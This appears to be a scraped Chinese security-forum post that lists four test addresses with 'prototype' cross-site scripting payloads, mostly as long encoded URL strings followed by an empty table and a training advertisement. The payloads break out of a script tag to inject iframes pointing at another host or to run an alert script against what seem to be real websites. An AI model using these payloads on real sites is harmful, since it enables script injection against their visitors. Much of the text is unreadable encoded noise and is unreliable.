154K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4u0W2L8W2)9J5k6h3u0S2K9h3c8#2i4K6u0W2j5$3!0E0i4K6u0r3N6i4q4#2k6i4u0&6i4K6u0r3i4K6y4r3N6s2W2H3k6g2)9K6c8o6q4Q4x3U0k6X3L8W2)9K6c8o6g2Q4x3U0k6%4L8%4u0V1i4K6y4p5i4K6t1#2x3U0N6Q4x3U0f1K6b7#2)9J5y4e0u0r3i4K6t1#2y4K6y4Q4x3U0f1$3x3#2)9J5y4e0M7J5i4K6t1#2y4U0W2Q4x3U0f1%4x3q4)9J5y4e0M7@1i4K6t1#2x3@1g2Q4x3U0f1K6b7#2)9J5y4e0j5&6i4K6t1#2y4U0k6Q4x3U0f1%4x3W2)9J5y4e0j5I4i4K6t1#2y4V1c8Q4x3U0f1$3y4g2)9J5y4e0t1H3i4K6t1#2y4K6y4Q4x3U0f1%4x3W2)9J5y4e0j5K6i4K6t1#2x3@1c8Q4x3U0f1$3z5q4)9J5y4e0M7@1i4K6t1#2y4K6c8Q4x3U0f1%4x3q4)9J5y4e0y4m8i4K6t1#2x3V1k6Q4x3U0f1J5c8W2)9J5y4e0M7%4i4K6t1#2y4K6N6Q4x3U0f1%4y4#2)9J5y4e0u0q4i4K6t1#2y4U0u0Q4x3U0f1$3x3g2)9J5y4e0j5&6i4K6t1#2y4U0c8Q4x3U0f1%4y4g2)9J5y4e0u0q4i4K6t1#2y4U0y4Q4x3U0f1$3c8W2)9J5y4e0k6p5i4K6t1#2x3U0m8Q4x3U0f1K6b7#2)9J5y4e0u0r3i4K6t1#2y4U0W2Q4x3U0f1$3y4W2)9J5y4e0M7J5i4K6t1#2y4U0q4Q4x3U0f1$3c8q4)9J5y4e0j5#2i4K6t1#2x3@1f1`.
================================================================
================================================================
测试地址1
2bdK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4S2A6j5h3&6Y4j5%4g2F1i4K6u0W2j5X3q4A6k6s2g2Q4x3X3g2U0L8$3#2Q4x3V1k6$3K9h3g2%4L8X3g2%4M7#2)9J5k6i4m8Z5M7q4)9K6c8X3&6A6k6q4)9K6c8o6p5@1z5q4)9J5y4Y4u0@1L8W2)9#2k6Y4g2J5L8q4)9K6c8q4)9J5y4e0t1J5i4K6t1#2x3@1g2Q4x3U0f1K6b7#2)9J5y4e0M7K6i4K6t1#2y4U0y4Q4x3U0f1%4x3W2)9J5y4e0j5&6i4K6t1#2y4K6m8Q4x3U0f1%4y4q4)9J5y4e0y4q4i4K6t1#2y4U0q4Q4x3U0f1$3b7#2)9J5y4e0j5#2i4K6t1#2y4K6u0Q4x3U0f1%4y4q4)9J5y4e0t1^5i4K6t1#2x3V1k6Q4x3U0f1J5c8q4)9J5y4e0u0p5i4K6t1#2x3V1c8Q4x3U0f1J5c8q4)9J5y4e0u0p5i4K6t1#2x3V1c8Q4x3U0f1$3z5q4)9J5y4e0j5#2i4K6t1#2y4V1y4Q4x3U0f1$3b7#2)9J5y4e0k6r3i4K6t1#2x3U0m8Q4x3U0f1%4y4#2)9J5y4e0k6r3i4K6t1#2y4V1y4Q4x3U0f1$3y4q4)9J5y4e0M7&6i4K6t1#2x3U0q4Q4x3U0f1J5c8q4)9J5y4e0u0p5i4K6t1#2x3V1c8Q4x3U0f1J5c8q4)9J5y4e0u0p5i4K6t1#2x3V1c8Q4x3U0f1J5c8W2)9J5y4e0t1&6i4K6t1#2x3@1y4Q4x3U0f1J5c8W2)9J5y4e0M7K6i4K6t1#2y4U0y4Q4x3U0f1%4x3W2)9J5y4e0j5&6i4K6t1#2y4K6m8Q4x3U0f1%4y4q4)9J5y4e0y4q4
原型d56K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4u0W2L8W2)9J5k6h3u0S2K9h3c8#2i4K6u0W2j5$3!0E0i4K6u0r3N6i4q4#2k6i4u0&6i4K6u0r3i4K6y4r3N6s2W2H3k6g2)9K6c8o6q4Q4x3U0k6X3L8W2)9K6c8o6g2Q4x3U0k6%4L8%4u0V1i4K6y4p5i4K6t1%4<;/script><iframe src=e91K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3u0S2K9h3c8#2i4K6u0W2j5$3!0E0 </iframe>
测试地址2
b17K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4S2A6j5h3&6Y4j5%4g2F1i4K6u0W2j5X3q4A6k6s2g2Q4x3X3g2U0L8$3#2Q4x3V1k6$3K9h3g2%4L8X3g2%4M7#2)9J5k6i4m8Z5M7q4)9K6c8X3&6A6k6q4)9K6c8o6p5@1z5q4)9J5y4Y4u0@1L8W2)9#2k6Y4g2J5L8q4)9K6c8q4)9J5y4e0t1J5i4K6t1#2x3@1g2Q4x3U0f1K6b7#2)9J5y4e0j5&6i4K6t1#2y4U0k6Q4x3U0f1%4x3W2)9J5y4e0j5I4i4K6t1#2y4V1c8Q4x3U0f1$3y4g2)9J5y4e0t1H3i4K6t1#2y4K6y4Q4x3U0f1%4x3W2)9J5y4e0j5K6i4K6t1#2x3@1c8Q4x3U0f1$3z5q4)9J5y4e0M7@1i4K6t1#2y4K6c8Q4x3U0f1%4x3q4)9J5y4e0y4m8i4K6t1#2x3V1k6Q4x3U0f1J5c8W2)9J5y4e0M7%4i4K6t1#2y4K6N6Q4x3U0f1%4y4#2)9J5y4e0u0q4i4K6t1#2y4U0u0Q4x3U0f1$3x3g2)9J5y4e0j5&6i4K6t1#2y4U0c8Q4x3U0f1%4y4g2)9J5y4e0u0q4i4K6t1#2y4U0y4Q4x3U0f1$3c8W2)9J5y4e0k6p5i4K6t1#2x3U0m8Q4x3U0f1K6b7#2)9J5y4e0u0r3i4K6t1#2y4U0W2Q4x3U0f1$3y4W2)9J5y4e0M7J5i4K6t1#2y4U0q4Q4x3U0f1$3c8q4)9J5y4e0j5#2i4K6t1#2x3@1f1`.
原型e37K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4S2A6j5h3&6Y4j5%4g2F1i4K6u0W2j5X3q4A6k6s2g2Q4x3X3g2U0L8$3#2Q4x3V1k6$3K9h3g2%4L8X3g2%4M7#2)9J5k6i4m8Z5M7q4)9K6c8X3&6A6k6q4)9K6c8o6p5@1z5q4)9J5y4Y4u0@1L8W2)9#2k6Y4g2J5L8q4)9K6c8l9`.`."><iframe src=01bK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3u0S2K9h3c8#2i4K6u0W2j5$3!0E0 </iframe>
测试地址3
413K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4u0W2L8W2)9J5k6h3u0S2K9h3c8#2i4K6u0W2j5$3!0E0i4K6u0r3N6i4q4#2k6i4u0&6i4K6u0r3i4K6y4r3N6s2W2H3k6g2)9K6c8o6q4Q4x3U0k6X3L8W2)9K6c8o6g2Q4x3U0k6%4L8%4u0V1i4K6y4p5i4K6t1#2x3U0N6Q4x3U0f1K6b7#2)9J5y4e0u0r3i4K6t1#2y4K6y4Q4x3U0f1$3x3#2)9J5y4e0M7J5i4K6t1#2y4U0W2Q4x3U0f1%4x3q4)9J5y4e0M7@1i4K6t1#2x3@1g2Q4x3U0f1K6b7#2)9J5y4e0M7K6i4K6t1#2y4U0y4Q4x3U0f1%4x3W2)9J5y4e0j5&6i4K6t1#2y4K6m8Q4x3U0f1%4y4q4)9J5y4e0y4q4i4K6t1#2y4U0q4Q4x3U0f1$3b7#2)9J5y4e0j5#2i4K6t1#2y4K6u0Q4x3U0f1%4y4q4)9J5y4e0t1^5i4K6t1#2x3V1k6Q4x3U0f1J5c8q4)9J5y4e0u0p5i4K6t1#2x3V1c8Q4x3U0f1J5c8q4)9J5y4e0u0p5i4K6t1#2x3V1c8Q4x3U0f1$3z5q4)9J5y4e0j5#2i4K6t1#2y4V1y4Q4x3U0f1$3b7#2)9J5y4e0k6r3i4K6t1#2x3U0m8Q4x3U0f1%4y4#2)9J5y4e0k6r3i4K6t1#2y4V1y4Q4x3U0f1$3y4q4)9J5y4e0M7&6i4K6t1#2x3U0q4Q4x3U0f1J5c8q4)9J5y4e0u0p5i4K6t1#2x3V1c8Q4x3U0f1J5c8q4)9J5y4e0u0p5i4K6t1#2x3V1c8Q4x3U0f1J5c8W2)9J5y4e0t1&6i4K6t1#2x3@1y4Q4x3U0f1J5c8W2)9J5y4e0M7K6i4K6t1#2y4U0y4Q4x3U0f1%4x3W2)9J5y4e0j5&6i4K6t1#2y4K6m8Q4x3U0f1%4y4q4)9J5y4e0y4q4
原型d4dK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4u0W2L8W2)9J5k6h3u0S2K9h3c8#2i4K6u0W2j5$3!0E0i4K6u0r3N6i4q4#2k6i4u0&6i4K6u0r3i4K6y4r3N6s2W2H3k6g2)9K6c8o6q4Q4x3U0k6X3L8W2)9K6c8o6g2Q4x3U0k6%4L8%4u0V1i4K6y4p5i4K6t1%4</script><script>alert(/------hello woldy!------/)</script>
测试地址4
689K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4u0W2L8W2)9J5k6h3u0S2K9h3c8#2i4K6u0W2j5$3!0E0i4K6u0r3N6i4q4#2k6i4u0&6i4K6u0r3i4K6y4r3N6s2W2H3k6g2)9K6c8o6q4Q4x3U0k6X3L8W2)9K6c8o6g2Q4x3U0k6%4L8%4u0V1i4K6y4p5i4K6t1#2x3U0N6Q4x3U0f1K6b7#2)9J5y4e0u0r3i4K6t1#2y4K6y4Q4x3U0f1$3x3#2)9J5y4e0M7J5i4K6t1#2y4U0W2Q4x3U0f1%4x3q4)9J5y4e0M7@1i4K6t1#2x3@1g2Q4x3U0f1K6b7#2)9J5y4e0j5&6i4K6t1#2y4U0k6Q4x3U0f1%4x3W2)9J5y4e0j5I4i4K6t1#2y4V1c8Q4x3U0f1$3y4g2)9J5y4e0t1H3i4K6t1#2y4K6y4Q4x3U0f1%4x3W2)9J5y4e0j5K6i4K6t1#2x3@1c8Q4x3U0f1$3z5q4)9J5y4e0M7@1i4K6t1#2y4K6c8Q4x3U0f1%4x3q4)9J5y4e0y4m8i4K6t1#2x3V1k6Q4x3U0f1J5c8W2)9J5y4e0M7%4i4K6t1#2y4K6N6Q4x3U0f1%4y4#2)9J5y4e0u0q4i4K6t1#2y4U0u0Q4x3U0f1$3x3g2)9J5y4e0j5&6i4K6t1#2y4U0c8Q4x3U0f1%4y4g2)9J5y4e0u0q4i4K6t1#2y4U0y4Q4x3U0f1$3c8W2)9J5y4e0k6p5i4K6t1#2x3U0m8Q4x3U0f1K6b7#2)9J5y4e0u0r3i4K6t1#2y4U0W2Q4x3U0f1$3y4W2)9J5y4e0M7J5i4K6t1#2y4U0q4Q4x3U0f1$3c8q4)9J5y4e0j5#2i4K6t1#2x3@1f1`.
原型8c2K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4u0W2L8W2)9J5k6h3u0S2K9h3c8#2i4K6u0W2j5$3!0E0i4K6u0r3N6i4q4#2k6i4u0&6i4K6u0r3i4K6y4r3N6s2W2H3k6g2)9K6c8o6q4Q4x3U0k6X3L8W2)9K6c8o6g2Q4x3U0k6%4L8%4u0V1i4K6y4p5i4K6t1%4</script><iframe src=8fbK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3u0S2K9h3c8#2i4K6u0W2j5$3!0E0 </iframe>
12.24号的
[培训]内核驱动高级班，冲击BAT一流互联网大厂工作，每周日13:00-18:00直播授课
|
|
|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
